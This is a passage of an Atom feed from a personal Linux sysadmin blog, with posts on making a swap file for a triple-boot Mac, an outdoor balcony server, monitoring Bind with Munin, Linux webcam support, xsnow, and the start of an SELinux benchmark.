src=&quot;http://blog.gnist.org/images/articles/Triple-Boot-OSX-Ubuntu-Vista_4_original.jpg&quot; alt=&quot;&quot;&gt;&lt;p&gt;We're not quite done yet. Since Mac uses &lt;a href=&quot;http://en.wikipedia.org/wiki/GUID_Partition_Table&quot;&gt;GPT&lt;/a&gt;, which don't allow logical partitions, and MBR, which Windows require, - we're stuck with four (primary) partitions. That's the reason why we can't have dedicated swap &lt;em&gt;partition&lt;/em&gt;. So we create a swap file:&lt;p&gt;&lt;pre&gt;&amp;#36; &lt;strong&gt;sudo dd if=/dev/zero of=/swapfile bs=1024 count=2097152&lt;/strong&gt;&lt;br&gt;2097152+0 records in&lt;br&gt;2097152+0 records out&lt;br&gt;2147483648 bytes (2.1 GB) copied, 80.0314 s, 26.8 MB/s&lt;br&gt;&amp;#36; &lt;strong&gt;ls -lh /swapfile&lt;/strong&gt;&lt;br&gt;-rw-r--r-- 1 root root 2.0G 2008-03-05 18:34 /swapfile&lt;br&gt;&amp;#36; &lt;strong&gt;sudo chmod 600 /swapfile&lt;/strong&gt;&lt;br&gt;&amp;#36; &lt;strong&gt;sudo mkswap /swapfile&lt;/strong&gt;&lt;br&gt;Setting up swapspace version 1, size = 2147479 kB&lt;br&gt;no label, UUID=819c205d-b3de-4ed0-ae4c-17e8b7e81443&lt;br&gt;&amp;#36; &lt;strong&gt;swapon /swapfile&lt;/strong&gt;&lt;br&gt;&amp;#36; &lt;strong&gt;free -m&lt;/strong&gt;&lt;br&gt;             total       used       free     shared    buffers     cached&lt;br&gt;Mem:          1996        569       1426          0         12        196&lt;br&gt;-/+ buffers/cache:        360       1635&lt;br&gt;Swap:         2047          0       2047&lt;br&gt;&amp;#36; &lt;strong&gt;cat /etc/fstab&lt;/strong&gt;&lt;br&gt;...&lt;br&gt;/swapfile       swap    swap    defaults        0       0&lt;br&gt;&lt;/pre&gt;&lt;p&gt;That's it. Our partition layout now has the first (sda1) partition occupied by EFI, next (sda2) is OSX, third (sda3) Linux and the last (sda4) Vista. A graphical layout (using gparted) listed below:&lt;p&gt;&lt;img width=&quot;782&quot; height=&quot;398&quot; src=&quot;http://blog.gnist.org/images/articles/Triple-Boot-OSX-Ubuntu-Vista_5_original.jpg&quot; alt=&quot;&quot;&gt;</content>
</entry>
<entry>
<title type="html">Balcony Server</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=Balcony-Server"/>
<id>tag:blog.gnist.org,2008-02-16:/article.php?story=Balcony-Server</id>
<published>2008-02-16T13:02:00+01:00</published>
<updated>2008-02-16T13:02:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;p&gt;At my last place, I had a dedicated room full of servers. It was lovely mix of cra^Wold hardware running various flavors of Linux, BSD and Solaris. At my new place, we didn't have that much space so I was forced to do a cleanup. I bought a powerful server with sufficient RAM, CPU and disk. Now I have one server and a whole bunch of virtual machines running on it. (Throw in a couple of Linksys devices running &lt;a href=&quot;http://openwrt.org/&quot;&gt;openwrt&lt;/a&gt; and &lt;a href=&quot;http://www.dd-wrt.com&quot;&gt;dd-wrt&lt;/a&gt; and I was happy.) There was one &quot;problem&quot; - the server had to be placed out on the balcony. It has been running out there for over a year now - how did that go?
&lt;p&gt;When I started, I had two challenges: First, I had to build some kind of box to protect the machine from wind, rain and snow. Next, since we use the balcony a lot during summertime, the machine had to be fairly quiet. &lt;p&gt;Also, since the server is running at all time, I had to get some decent disks. I bought four &quot;Western Digital Caviar RE2 500GB SATA2 16MB 7200RPM (WDC WD5000YS-01M)&quot; which has a pretty high MTBF. They've been running in RAID 5 and have not failed me yet. &lt;p&gt;Since it is a sunny balcony and it can get pretty hot during the summer, the box had to have some kind of ventilation. But the ventilation could not allow snow drifting into to box during winter. After my carpenter work and a paint job, the box fit nicely into the corner of the balcony.&lt;p&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Balcony-Server_1_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;150&quot; src=&quot;http://blog.gnist.org/images/articles/Balcony-Server_1.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Balcony-Server_2_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;150&quot; height=&quot;200&quot; src=&quot;http://blog.gnist.org/images/articles/Balcony-Server_2.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Balcony-Server_3_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;150&quot; height=&quot;200&quot; src=&quot;http://blog.gnist.org/images/articles/Balcony-Server_3.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Balcony-Server_4_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;150&quot; height=&quot;200&quot; src=&quot;http://blog.gnist.org/images/articles/Balcony-Server_4.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Balcony-Server_5_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;150&quot; src=&quot;http://blog.gnist.org/images/articles/Balcony-Server_5.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;p&gt;Neither drifting snow, wind or rain have been any problem. A bigger problem have actually been pollen grains during spring and summer. The box and chassis get full of it and have to be cleaned at least once during the summer. &lt;p&gt;I often get questions about humidity - isn't that a problem? The answer is no. I've had no problem with it at all. But keep in mind that the server is running at all time - if I turn it off, wait until it cools, and then turn it back on again, we can have condensation which can be catastrophic.&lt;p&gt;We all know that the operating temperature is really important for hard drives. So I do get a little worried when it's &lt;em&gt;really&lt;/em&gt; hot during the summer. So I monitor the hard drives using &lt;a href=&quot;http://blog.gnist.org/article.php?story=MonitorBindWithMunin&quot;&gt;Munin&lt;/a&gt;, and so far I've  been within the temperature limits for the disks (5°C - 60°C). &lt;p&gt;&lt;img width=&quot;800&quot; height=&quot;510&quot; src=&quot;http://blog.gnist.org/images/articles/Balcony-Server_7_original.jpg&quot; alt=&quot;&quot;&gt;&lt;p&gt;During wintertime, the server is running happier (nice and cold) than ever:&lt;p&gt;&lt;img width=&quot;800&quot; height=&quot;600&quot; src=&quot;http://blog.gnist.org/images/articles/Balcony-Server_6_original.jpg&quot; alt=&quot;&quot;&gt;</content>
</entry>
<entry>
<title type="html">How to monitor Bind with Munin</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=MonitorBindWithMunin"/>
<id>tag:blog.gnist.org,2008-02-15:/article.php?story=MonitorBindWithMunin</id>
<published>2008-02-15T21:27:00+01:00</published>
<updated>2008-02-15T21:27:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;p&gt;Unix sysadmin and never heard of &lt;a href=&quot;http://munin.projects.linpro.no/&quot;&gt;Munin&lt;/a&gt;? Good news for you: You have a great tool waiting. Munin monitors your servers, stores the results and generates pretty graphs for you to interpret. Munin itself is written in Perl, but uses plugins, written in language of choice, to fetch relevant data. The default install comes with a number plugins that works out-of-the-box - most of them written in Perl or shell. But some plugins, or services, require manual intervention to work. Bind is such a service, so let's see how we can monitor Bind with Munin.
&lt;p&gt;I install Munin everywhere I can. It's a really helpful tool. After I've started using Munin (and Nagios), I'm puzzled of how I managed without before. Munin gives you historical graphs and enables you to predict resource consumption trends: &quot;Is there any memory increase during the last year? Are the number of mail/spam increasing? What about CPU load? Network throughput?&quot; etc.&lt;p&gt;Some time ago, I was at a customer and installed Munin on a bunch of servers. The next day, the sysadmin called and thanked me. He finally knew why he had to reboot two of his Oracle server every week. There was some kind of memory leak eating away all memory before the server crashed. He contacted Oracle to come up with a fix. &lt;p&gt;Another example: You arrive at work, and a server has crashed/rebooted/panicked during the night. Now, &lt;em&gt;why&lt;/em&gt; did it do that? Munin can be of great help here: Check the graphs right before the crash - seeing anything unusual? Increase in network traffic? What about CPU load? Memory? Number of processes? It can give you a really good indication of what went wrong.&lt;p&gt;Munin do have some limitations. It does not scale well (to hundreds of servers) and I find it particularly painful to create aggregated graphs (for example aggregated network graph of two or more hosts). But I know these issues are being worked on. &lt;p&gt;&lt;strong&gt;Okay, enough talk - let's monitor Bind:&lt;/strong&gt;&lt;p&gt;First we need enable logging. Create a log directory and add log directives to the Bind configuration file (here on Debian):&lt;p&gt;&lt;pre&gt;# &lt;strong&gt;mkdir /var/log/bind9&lt;/strong&gt;&lt;br&gt;# &lt;strong&gt;chown bind:bind /var/log/bind9&lt;/strong&gt;&lt;br&gt;# &lt;strong&gt;cat /etc/bind/named.conf.options&lt;/strong&gt;&lt;br&gt;...&lt;br&gt;logging {&lt;br&gt;        channel b_log {&lt;br&gt;                file &quot;/var/log/bind9/bind.log&quot; versions 30 size 1m;&lt;br&gt;                print-time yes;&lt;br&gt;                print-category yes;&lt;br&gt;                print-severity yes;&lt;br&gt;                severity info;&lt;br&gt;        };&lt;br&gt;&lt;br&gt;        channel b_debug {&lt;br&gt;                file &quot;/var/log/bind9/debug.log&quot; versions 2 size 1m;&lt;br&gt;                print-time yes;&lt;br&gt;                print-category yes;&lt;br&gt;                print-severity yes;&lt;br&gt;                severity dynamic;&lt;br&gt;        };&lt;br&gt;&lt;br&gt;        channel b_query {&lt;br&gt;                file &quot;/var/log/bind9/query.log&quot; versions 2 size 1m;&lt;br&gt;                print-time yes;&lt;br&gt;                severity info;&lt;br&gt;        };&lt;br&gt;&lt;br&gt;        category default { b_log; b_debug; };&lt;br&gt;        category config { b_log; b_debug; };&lt;br&gt;        category queries { b_query; };&lt;br&gt;};&lt;br&gt;&lt;/pre&gt;&lt;p&gt;Restart bind:&lt;p&gt;&lt;pre&gt;# &lt;strong&gt;/etc/init.d/bind9 restart&lt;/strong&gt;&lt;br&gt;Stopping domain name service: named.&lt;br&gt;Starting domain name service: named.&lt;br&gt;&lt;/pre&gt;&lt;p&gt;You can now see log files are being populated under /var/log/bind9/*&lt;p&gt;&lt;strong&gt;Next, configure Munin:&lt;/strong&gt;&lt;p&gt;Make sure the munin-user (&quot;munin&quot;) can read you bind log files.&lt;p&gt;We need two additional plugins: &quot;bind&quot; and &quot;bind_rndc&quot;. If you can't find them in your default install, head over &lt;a href=&quot;http://munin.projects.linpro.no/browser/trunk/node/node.d&quot;&gt;here&lt;/a&gt;.&lt;p&gt;The &quot;bind&quot; plugin should work right away. &quot;bind9_rndc&quot; however need to read the &quot;rndc.key file, which only are readable by the user &quot;bind&quot;. You have two options, either run the plugin as root or add the user &quot;munin&quot; to the group &quot;bind&quot; and enable the group &quot;bind&quot; to read the rndc.file. For the sake of simplicity, I run the plugin as root here. So you need to add:&lt;p&gt;&lt;pre&gt;# &lt;strong&gt;cat /etc/munin/plugin-conf.d/munin-node&lt;/strong&gt;&lt;br&gt;...&lt;br&gt;[bind9_rndc]&lt;br&gt;user root&lt;br&gt;env.querystats /var/log/bind9/named.stats&lt;br&gt;...&lt;br&gt;&lt;/pre&gt;&lt;p&gt;Next restart Munin:&lt;p&gt;&lt;pre&gt;# &lt;strong&gt;/etc/init.d/munin-node restart&lt;/strong&gt;&lt;br&gt;Stopping munin-node: done.&lt;br&gt;Starting munin-node: done.&lt;br&gt;&lt;/pre&gt;&lt;p&gt;Munin run every five minutes, so go take a coffee. Wait.&lt;p&gt;After a while, graphs arrive:&lt;p&gt;&lt;img width=&quot;493&quot; height=&quot;541&quot; src=&quot;http://blog.gnist.org/images/articles/MonitorBindWithMunin_1_original.png&quot; alt=&quot;&quot;&gt;&lt;p&gt;And the bind_rndc plugin: &lt;p&gt;(Consult the &lt;a href=&quot;http://www.bind9.net/manual/bind/9.2.4/Bv9ARM.ch06.html#statsfile&quot;&gt;&quot;BIND 9 Administrator Reference Manual&quot;&lt;/a&gt; if you have trouble interpreting the results.)&lt;p&gt;&lt;img width=&quot;493&quot; height=&quot;346&quot; src=&quot;http://blog.gnist.org/images/articles/MonitorBindWithMunin_2_original.png&quot; alt=&quot;&quot;&gt;&lt;p&gt;Nice huh? &lt;p&gt;What are you waiting for? &lt;a href=&quot;http://munin.projects.linpro.no/&quot;&gt;Munin is over here&lt;/a&gt;.</content>
</entry>
<entry>
<title type="html">Linux and Logitech QuickCam Pro 9000</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=Linux_and_LogitechQuickCamPro9000"/>
<id>tag:blog.gnist.org,2008-02-02:/article.php?story=Linux_and_LogitechQuickCamPro9000</id>
<published>2008-02-02T12:54:00+01:00</published>
<updated>2008-02-02T12:54:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">I've been on the lookout for a decent webcam. After some searching, the choice fell on &lt;a href=&quot;http://www.logitech.com/index.cfm/webcam_communications/webcams/devices/3056&amp;amp;cl=roeu,en&quot;&gt;Logitech QuickCam Pro 9000&lt;/a&gt;, which should be supported according to the &lt;a href=&quot;http://linux-uvc.berlios.de/&quot;&gt;Linux UVC driver&lt;/a&gt; page. It's not one of the cheaper models, but not the most expensive either. It also has &quot;HD-quality&quot; (which in this case translates to resolution up to 1600x1200). So how does this camera works under Linux?
&lt;p&gt;My first thought after unwrapping was &quot;Is that it?&quot;. It was smaller than I had anticipated. But when it comes to webcam, smaller is better I guess.&lt;p&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Linux_and_LogitechQuickCamPro9000_1_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;150&quot; src=&quot;http://blog.gnist.org/images/articles/Linux_and_LogitechQuickCamPro9000_1.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;p&gt;Ubuntu 7.10 (i386) ships with UVC drivers, but they are too old. So we install new ones from trunk:&lt;p&gt;&lt;strong&gt;&lt;em&gt;(Update! This webcam works out of the box on Ubuntu 8.04)&lt;/em&gt;&lt;/strong&gt;&lt;p&gt;&lt;pre&gt; &amp;#36; &lt;strong&gt;svn checkout svn://svn.berlios.de/linux-uvc/linux-uvc/trunk&lt;/strong&gt;&lt;br&gt; &amp;#36; &lt;strong&gt;cd trunk&lt;/strong&gt;&lt;br&gt; &amp;#36; &lt;strong&gt;make&lt;/strong&gt;&lt;br&gt; &amp;#36; &lt;strong&gt;sudo make install&lt;/strong&gt;&lt;br&gt;&lt;/pre&gt;&lt;p&gt;When we now plug in the camera, it's detected properly:&lt;p&gt;&lt;pre&gt;&amp;#36; &lt;strong&gt;dmesg&lt;/strong&gt;&lt;br&gt;...&lt;br&gt;[14323.676000] usb 5-1: new high speed USB device using ehci_hcd and address 7&lt;br&gt;[14323.932000] usb 5-1: configuration #1 chosen from 1 choice&lt;br&gt;[14324.056000] Linux video capture interface: v2.00&lt;br&gt;[14324.168000] usbcore: registered new interface driver snd-usb-audio&lt;br&gt;[14324.180000] uvcvideo: Found UVC 1.00 device  (046d:0990)&lt;br&gt;[14324.196000] usbcore: registered new interface driver uvcvideo&lt;br&gt;[14324.200000] USB Video Class driver (v0.1.0)&lt;br&gt;&lt;br&gt;&amp;#36; &lt;strong&gt;lsusb&lt;/strong&gt;&lt;br&gt;...&lt;br&gt;Bus 005 Device 007: ID 046d:0990 Logitech, Inc.&lt;br&gt;&lt;/pre&gt;&lt;p&gt;We see the modules are loaded:&lt;p&gt;&lt;pre&gt;&amp;#36; &lt;strong&gt;lsmod | grep uvc&lt;/strong&gt;&lt;br&gt;uvcvideo               48644  0 &lt;br&gt;compat_ioctl32          2304  1 uvcvideo&lt;br&gt;videodev               29312  1 uvcvideo&lt;br&gt;v4l1_compat            15364  2 uvcvideo,videodev&lt;br&gt;v4l2_common            18432  2 uvcvideo,videodev&lt;br&gt;usbcore               138632  10 snd_usb_audio,uvcvideo,snd_usb_lib,hci_usb,appleir,xpad,usbhid,ehci_hcd,uhci_hcd &lt;br&gt;&lt;/pre&gt;&lt;p&gt;The camera also has a built in microphone, which is detected and works (number #1 here):&lt;p&gt;&lt;pre&gt;&amp;#36; &lt;strong&gt;cat /proc/asound/cards&lt;/strong&gt;&lt;br&gt; 0 [Intel          ]: HDA-Intel - HDA Intel&lt;br&gt;                      HDA Intel at 0x90440000 irq 21&lt;br&gt; 1 [U0x46d0x990    ]: USB-Audio - USB Device 0x46d:0x990&lt;br&gt;                      USB Device 0x46d:0x990 at usb-0000:00:1d.7-1, high speed&lt;br&gt;&lt;/pre&gt;&lt;p&gt;Time for testing! &lt;p&gt;A capable webcam viewer is luvcview. It has the ability to take snapshot (photos), record video (avi), change resolution etc. We download and install luvcview from &lt;a href=&quot;http://mxhaard.free.fr/download.html&quot;&gt;here&lt;/a&gt;.&lt;p&gt;One nice feature is to list all supported resolutions:&lt;p&gt;&lt;pre&gt; &amp;#36; &lt;strong&gt;luvcview -L&lt;/strong&gt;&lt;br&gt;luvcview version 0.2.1 &lt;br&gt;Video driver: x11&lt;br&gt;A window manager is available&lt;br&gt;video /dev/video0 &lt;br&gt;/dev/video0 does not support read i/o&lt;br&gt;{ pixelformat = 'MJPG', description = 'MJPEG' }&lt;br&gt;{ discrete: width = 160, height = 120 }&lt;br&gt;        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;{ discrete: width = 176, height = 144 }&lt;br&gt;        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;{ discrete: width = 320, height = 240 }&lt;br&gt;        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;{ discrete: width = 352, height = 288 }&lt;br&gt;        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;{ discrete: width = 640, height = 480 }&lt;br&gt;        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;{ discrete: width = 800, height = 600 }&lt;br&gt;        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;{ discrete: width = 960, height = 720 }&lt;br&gt;        Time interval between frame: 1/15, 1/10, 1/5, &lt;br&gt;{ pixelformat = 'YUYV', description = 'YUV 4:2:2 (YUYV)' }&lt;br&gt;{ discrete: width = 160, height = 120 }&lt;br&gt;        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;{ discrete: width = 176, height = 144 }&lt;br&gt;        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;{ discrete: width = 320, height = 240 }&lt;br&gt;        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;{ discrete: width = 352, height = 288 }&lt;br&gt;        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;{ discrete: width = 640, height = 480 }&lt;br&gt;        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;{ discrete: width = 800, height = 600 }&lt;br&gt;        Time interval between frame: 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;{ discrete: width = 960, height = 720 }&lt;br&gt;        Time interval between frame: 1/10, 1/5, &lt;br&gt;{ discrete: width = 1600, height = 1200 }&lt;br&gt;        Time interval between frame: 1/5,&lt;br&gt;&lt;/pre&gt;&lt;p&gt;1600x1200 is bigger than my screen here, so 960x720 will have to do. I had to disable SDL hardware acceleration to use resolution above 800x600, or else luvcview crashed:&lt;p&gt;&lt;pre&gt; &amp;#36; &lt;strong&gt;luvcview -w -s 960x720&lt;/strong&gt;&lt;/pre&gt;&lt;p&gt;&lt;img width=&quot;800&quot; height=&quot;640&quot; src=&quot;http://blog.gnist.org/images/articles/Linux_and_LogitechQuickCamPro9000_2_original.jpg&quot; alt=&quot;&quot;&gt;&lt;p&gt;The colors look good, it adapt well to light and I've had no stability issues (yet). The camera also works with &lt;a href=&quot;http://www.ekiga.org/&quot;&gt;ekiga&lt;/a&gt; (gnomemeeting):&lt;p&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Linux_and_LogitechQuickCamPro9000_3_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;111&quot; height=&quot;200&quot; src=&quot;http://blog.gnist.org/images/articles/Linux_and_LogitechQuickCamPro9000_3.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;p&gt;&lt;a href=&quot;http://kopete.kde.org/&quot;&gt;Kopete&lt;/a&gt;:&lt;p&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Linux_and_LogitechQuickCamPro9000_4_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;196&quot; height=&quot;200&quot; src=&quot;http://blog.gnist.org/images/articles/Linux_and_LogitechQuickCamPro9000_4.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;p&gt;And &lt;a href=&quot;http://www.skype.com/intl/en/download/skype/linux/beta/&quot;&gt;Skype (2.0 beta)&lt;/a&gt; (the microphone also works):&lt;p&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Linux_and_LogitechQuickCamPro9000_5_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;153&quot; src=&quot;http://blog.gnist.org/images/articles/Linux_and_LogitechQuickCamPro9000_5.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;</content>
</entry>
<entry>
<title type="html">No snow, no Christmas?</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=Christmas-with-xsnow"/>
<id>tag:blog.gnist.org,2007-12-04:/article.php?story=Christmas-with-xsnow</id>
<published>2007-12-04T19:24:00+01:00</published>
<updated>2007-12-04T19:24:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">Soon Christmas and still no snow? Since there hasn't been a decent cold and white winter here for years, it's a little hard to get that Christmas mood. Luckily, we have computer tools that can help us out.
&lt;p&gt;A small and nifty little program called &lt;a href=&quot;http://dropmix.xs4all.nl/rick/Xsnow/&quot;&gt;&quot;xsnow&quot;&lt;/a&gt; snows all over your X-session. All the windows get covered in snow and even Santa himself fly by. The graphics are not &lt;a href=&quot;http://www.youtube.com/watch?v=R3P-Pbp9uvY&quot;&gt;outstanding&lt;/a&gt;, in fact they quite early 1990-ish. Still, it gives you a little Christmas nostalgia. You can almost feel the cold when the snows hurls over your screen.&lt;p&gt;&lt;img width=&quot;640&quot; height=&quot;512&quot; src=&quot;http://blog.gnist.org/images/articles/Christmas-with-xsnow_1_original.png&quot; alt=&quot;&quot;&gt;</content>
</entry>
<entry>
<title type="html">RHEL5 SELinux: A benchmark</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=RHEL5-SELinux-Benchmark"/>
<id>tag:blog.gnist.org,2007-11-07:/article.php?story=RHEL5-SELinux-Benchmark</id>
<published>2007-11-07T22:05:00+01:00</published>
<updated>2007-11-07T22:05:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">SELinux introduces a new access control mechanism in the Linux kernel called &lt;em&gt;&quot;mandatory access control&quot;&lt;/em&gt;. It has been in the mainline Linux kernel since 2003, and included in RedHat Enterprise Linux 4 (2005). RedHat have been testing SELinux for quite some time through the Fedora releases, where it has been available since Fedora 2 (2004). RedHat is aggressively pushing the development of SELinux and relevant tools forward. From RHEL version 4 to 5 the targeted policy includes more services, added support for a modular policy, (graphical) administrations tools and support for MLS. But what are the performance penalties when running with and without SELinux enabled?
&lt;hr&gt;&lt;p&gt;&lt;strong&gt;&lt;font size=&quot;+1&quot;&gt;Index&lt;/font&gt;&lt;/strong&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;#SELinux&quot;&gt;SELinux&lt;/a&gt;&lt;ol type=&quot;a&quot;&gt;  &lt;li&gt;&lt;a href=&quot;#Access control&quot;&gt;Access control&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href=&quot;#Security attributes&quot;&gt;Security attributes&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href=&quot;#SELinux MAC&quot;&gt;SELinux MAC&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href=&quot;#Security policy&quot;&gt;Security policy&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href=&quot;#AppArmor&quot;&gt;AppArmor&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#Test Setup&quot;&gt;Test setup&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#The Tests&quot;&gt;The tests&lt;/a&gt;&lt;ol type=&quot;a&quot;&gt;  &lt;li&gt;&lt;a href=&quot;#Apache&quot;&gt;Apache&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href=&quot;#Postfix&quot;&gt;Postfix&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href=&quot;#MySQL&quot;&gt;MySQL&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#Conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#References&quot;&gt;References&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;hr&gt;&lt;strong&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;SELinux&quot;&gt;1. SELinux&lt;/a&gt;&lt;/font&gt;&lt;/strong&gt;&lt;p&gt;&lt;a href=&quot;http://www.nsa.gov&quot;&gt;NSA&lt;/a&gt; originally developed SELinux and surprised everyone when they open sourced it. &lt;p&gt;&lt;em&gt;&quot;.. let me assure you that this action by the NSA was the crypto-equivalent of the Pope coming down off the balcony in Rome, working the crowd with a few loaves of bread and some fish, and then inviting everyone to come over to his place to watch the soccer game and have a few beers. There are some things that one just never expects to see, and the NSA handing out source code along with details of the security mechanism behind it was right up there on that list.&quot;&lt;/em&gt;&lt;br&gt; --- Larry Loeb, &lt;a href=&quot;http://www-128.ibm.com/developerworks/library/s-selinux/?n-s-381&quot;&gt;&quot;Uncovering the secrets of SE Linux&quot;&lt;/a&gt; &lt;p&gt;SELinux was quickly embraced by the open source community and RedHat in particular have led the development the last years. Existing first as a set of third party kernel patches, it was later rewritten to use the &lt;a href=&quot;http://en.wikipedia.org/wiki/Linux_Security_Modules&quot;&gt;&quot;Linux Security Modules&quot;&lt;/a&gt; (LSM) and is now part of the mainline kernel.&lt;p&gt;LSM provides no security by itself, but gives a general framework to support access control modules like SELinux. LSM does that by inserting hooks in the kernel code right before the access would have been granted by traditional access control. These &quot;hooks&quot; are just calls to functions that the LSM modules (SELinux) must provide.&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;Access control&quot;&gt;1a. Access control&lt;/a&gt;&lt;/font&gt;&lt;p&gt;The access control mechanism found in traditional operating systems (Linux, Windows, UNIX, OSX), the users are in control and determine access control. Ordinary users may give or revoke access privileges to their own object (files). This access control scheme is called &lt;em&gt;&quot;discretionary access control&quot;&lt;/em&gt; (DAC), since the subjects have discretion over their own objects. Bishop defines DAC as:&lt;p&gt;&lt;em&gt;&quot;If an individual user can set an access control mechanism to allow or deny access to an object, that mechanism is a discretionary access control (DAC), also called identity-based access control (IBAC).&quot;&lt;/em&gt; [&lt;a href=&quot;#Bishop1&quot;&gt;Bishop&lt;/a&gt;]&lt;p&gt;SELinux introduces a new access control mechanism called &lt;em&gt;&quot;mandatory access control&quot;&lt;/em&gt; (MAC). Here the access control is taken out of the hand of the users and enforced by the system it self. &lt;em&gt;&quot;In general, when systems are built to enforce a security policy independently of user actions, they are described as having &lt;strong&gt;mandatory access control&lt;/strong&gt;&quot;&lt;/em&gt; [&lt;a href=&quot;#Anderson1&quot;&gt;Anderson&lt;/a&gt;]. SELinux supplement Linux with mandatory access control (MAC), since access control is enforced based on a security policy and not user identity alone. &lt;p&gt;MAC can be defined as: &lt;em&gt;&quot;When a system mechanism controls access to and an individual user cannot alter that access, that control is a mandatory access control (MAC), occasionally called a rule-based access control.&quot;&lt;/em&gt; [&lt;a href=&quot;#Bishop1&quot;&gt;Bishop&lt;/a&gt;]&lt;p&gt;It must be stressed that MAC is not by definition more secure than DAC. It is just two different approaches to access control. The strength of MAC depends on a well-defined security policy. But when MAC is used, the security policy is usually written in accordance with the &lt;em&gt;&quot;principle of least privilege&quot;&lt;/em&gt;. This principle is best explained using an example: A user reads his email using a program called &quot;mutt&quot;. Since &quot;mutt&quot; is executed as a normal user, the &quot;mutt&quot; process has the same privileges to read and write to all the files as the user himself. That means that &quot;mutt&quot; can read the users ssh-keys, change the users password, delete all the users files and so on. Mutt does not need all those privileges in order to function properly, so they can be denied. Again, Bishop gives a clear and concise definition:&lt;p&gt;&lt;em&gt;&quot;The principle of least privilege states that a subject should be given only those privileges that it need in order to complete its task.&quot;&lt;/em&gt; [&lt;a href=&quot;#Bishop1&quot;&gt;Bishop&lt;/a&gt;]&lt;p&gt;SELinux does not replace the traditional DAC in Linux. SELinux introduces MAC in &lt;em&gt;addition&lt;/em&gt; to DAC. All access decisions are first consulted DAC then MAC (SELinux). If an action is denied in DAC, SELinux (MAC) is not consulted and the action is denied. If DAC allows the action, the decision is sent to SELinux for a MAC check.&lt;p&gt;&lt;img width=&quot;930&quot; height=&quot;217&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_1_original.png&quot; alt=&quot;&quot;&gt;&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;Security attributes&quot;&gt;1b. Security attributes&lt;/a&gt;&lt;/font&gt;&lt;p&gt;SELinux uses a combination of an identity model, role-based access control (RBAC) and type enforcement (TE). Where TE is 